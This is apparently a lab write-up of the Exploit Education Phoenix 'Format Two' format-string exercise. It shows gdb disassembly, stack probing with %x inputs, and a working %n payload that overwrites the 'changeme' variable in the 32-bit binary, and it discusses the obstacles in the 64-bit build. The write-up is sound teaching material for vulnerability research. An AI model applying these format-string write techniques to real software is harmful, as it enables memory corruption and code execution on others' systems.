- Stack Zero Writeup - Exploit Education Lab Exercise
- Stack One Writeup - Exploit Education Lab Exercise
- Stack Two Writeup - Exploit Education Lab Exercise
- Stack Three Writeup - Exploit Education Lab Exercise
- Stack Four Writeup - Exploit Education Lab Exercise
- Stack Five Writeup - Exploit Education Lab Exercise
- Stack Six Writeup - Exploit Education Lab Exercise
- Format Zero Writeup - Exploit Education Lab Exercise
- Format One Writeup - Exploit Education Lab Exercise
If you haven’t done setting-up your lab, feel free to check out my previous article on Exploit.education lab setup
Similar to Format One Writeup, Format Two exercise motives are smashing the stack, overwrite arbitrary memory address or variable. However, this Format Two challenge revolves around
Format String Vulnerability and quite challenging when exploiting in 64-bit architecture binary.
Disassembling the code will get you overall idea behind the format-two code, One can use
gdb ./format-two to start debugging it in runtime.
disassemble mainto get the disassembled code (assembly)
0x0804852c <+0>: lea ecx,[esp+0x4] 0x08048530 <+4>: and esp,0xfffffff0 0x08048533 <+7>: push DWORD PTR [ecx-0x4] 0x08048536 <+10>: push ebp 0x08048537 <+11>: mov ebp,esp 0x08048539 <+13>: push ebx 0x0804853a <+14>: push ecx 0x0804853b <+15>: sub esp,0x100 0x08048541 <+21>: mov ebx,ecx 0x08048543 <+23>: sub esp,0xc 0x08048546 <+26>: push 0x8048620 0x0804854b <+31>: call 0x8048330 <puts@plt> 0x08048550 <+36>: add esp,0x10 0x08048553 <+39>: cmp DWORD PTR [ebx],0x1 0x08048556 <+42>: jle 0x80485a3 <main+119> 0x08048558 <+44>: sub esp,0x4 0x0804855b <+47>: push 0x100 0x08048560 <+52>: push 0x0 0x08048562 <+54>: lea eax,[ebp-0x108] 0x08048568 <+60>: push eax 0x08048569 <+61>: call 0x8048350 <memset@plt> 0x0804856e <+66>: add esp,0x10 0x08048571 <+69>: mov eax,DWORD PTR [ebx+0x4] 0x08048574 <+72>: add eax,0x4 0x08048577 <+75>: mov eax,DWORD PTR [eax] 0x08048579 <+77>: sub esp,0x4 0x0804857c <+80>: push 0x100 0x08048581 <+85>: push eax 0x08048582 <+86>: lea eax,[ebp-0x108] 0x08048588 <+92>: push eax 0x08048589 <+93>: call 0x8048340 <strncpy@plt> 0x0804858e <+98>: add esp,0x10 0x08048591 <+101>: sub esp,0xc 0x08048594 <+104>: lea eax,[ebp-0x108] 0x0804859a <+110>: push eax 0x0804859b <+111>: call 0x8048515 <bounce> 0x080485a0 <+116>: add esp,0x10 0x080485a3 <+119>: mov eax,ds:0x8049868 0x080485a8 <+124>: test eax,eax 0x080485aa <+126>: je 0x80485be <main+146> 0x080485ac <+128>: sub esp,0xc 0x080485af <+131>: push 0x804866c 0x080485b4 <+136>: call 0x8048330 <puts@plt> 0x080485b9 <+141>: add esp,0x10 0x080485bc <+144>: jmp 0x80485ce <main+162> 0x080485be <+146>: sub esp,0xc 0x080485c1 <+149>: push 0x80486ab 0x080485c6 <+154>: call 0x8048330 <puts@plt> 0x080485cb <+159>: add esp,0x10 0x080485ce <+162>: sub esp,0xc 0x080485d1 <+165>: push 0x0 0x080485d3 <+167>: call 0x8048360 <exit@plt>
Before taking a look at the code, if you disassembled the format-two using gdb to view the assembly instruction, you may notice the puts, fgets, sprintf function calls with parameters. So basically when you hit
r in gdb without breakpoint,
- Greet with
Welcome to phoenix/format-two, brought to you by https://exploit.educationmessage via Puts (aka printf) method
- If the program receives an argument from the command line (i.e., argc is greater than 1), it initializes a character array “buf” with size 256 and sets all its values to zero using “memset” function.
- It then copies the first argument passed (i.e., argv) into the “buf” array using “strncpy” function. If the length of the argument exceeds the size of the buffer (256), it will be truncated.
- The program then calls the “bounce” function with the “buf” array as an argument.
- If the “changeme” variable is not zero, it prints “Well done, the ‘changeme’ variable has been changed correctly!” to the standard output.
- If the “changeme” variable is zero, it prints “Better luck next time!” to the standard output.
- The program exits with status code 0.
Memory Allocation - Exploit Strategy
If you take closer look at the memory allocation,
changeme variable it’s placed on the stack before
buffer char array. There is no way you could overflow buffer overflow variable and overwrite
changeme variable. However, introducing
%n format modifier string can perform this magic by overwriting the address using
format string vulnerability.
Our first step is to print “AAAA” temporarily and find the padding where it gets stored in the stack memory. We can start our exploration with couple of %x which helps in printing the address of the stack,
user@phoenix-amd64:/opt/phoenix/i486$ /opt/phoenix/i486/format-two $'AAAA%x.%x.\n' Welcome to phoenix/format-two, brought to you by https://exploit.education AAAAffffd8ca.100. Better luck next time!
Our experiment continues untill we find
AAAA or 41414141 in the stack and eventually we come to know that it occurs at the 12th padding,
user@phoenix-amd64:/opt/phoenix/i486$ /opt/phoenix/i486/format-two $'AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x\n' Welcome to phoenix/format-two, brought to you by https://exploit.education AAAAffffd8a7.100.0.f7f84b67.ffffd700.ffffd6e8.80485a0.ffffd5e0.ffffd8a7.100.3e8.41414141.252e7825.78252e78 Better luck next time!
Now that we found the padding, it’s time to find the exact memory address of
changeme variable. For 64-bit binary
format-two it should be
0x600af0 and 32-bit binary should be
0x08049868. While performing the exploit, I personally found 64-bit arch challenging due to few reasons discussed in the next section.
So, let’s come up with a payload for 32-bit arch format-two binary first,
$'\x08\x04\x98\x68%x %x %x %x %x %x %x %x %x %x %x %n \n'
However, if you take a closer look, most AT&T and Intel system uses little endian system. So, we might need to rewrite the address in reverse order.
$'\x68\x98\x04\x08%x %x %x %x %x %x %x %x %x %x %x %n \n'
Challenge faced while exploiting 64-bit binary
As mentioned above while going through memory address of
changeme variable in the stack of 64-bit binary should be
0x600af0 and it contains unreasonable characters 😥 -
\0a null character & new line terminator which is interpreted by the
strncpy function and completely terminates the argument while copying to the buffer.
However, there might be better strategy to overcome this issue by altering environment variables that may push the address or placing the address to the end of the string in payload.
Now, our strategy should be,
\x68\x98\x04\x08%x %x %x %x %x %x %x %x %x %x %x %n \n
changemeusing random address from stack.
user@phoenix-amd64:/opt/phoenix/i486$ /opt/phoenix/i486/format-two $'\x68\x98\x04\x08%x %x %x %x %x %x %x %x %x %x %x %n \n' Welcome to phoenix/format-two, brought to you by https://exploit.education h�ffffd8ac 100 0 f7f84b67 ffffd700 ffffd6e8 80485a0 ffffd5e0 ffffd8ac 100 3e8 Well done, the 'changeme' variable has been changed correctly!
There you go! 🎉 You’ve officially
pwned and you may eventually gain code execution in upcoming exercises 🪲
Source and Reference:
- Format Two Exercise: Exploit Education
I hope this post is helpful for vulnerability researcher 🔍 & code reviewers, For bugs,hugs & discussion, DM in Twitter. Opinions are my own and not the views of my employer.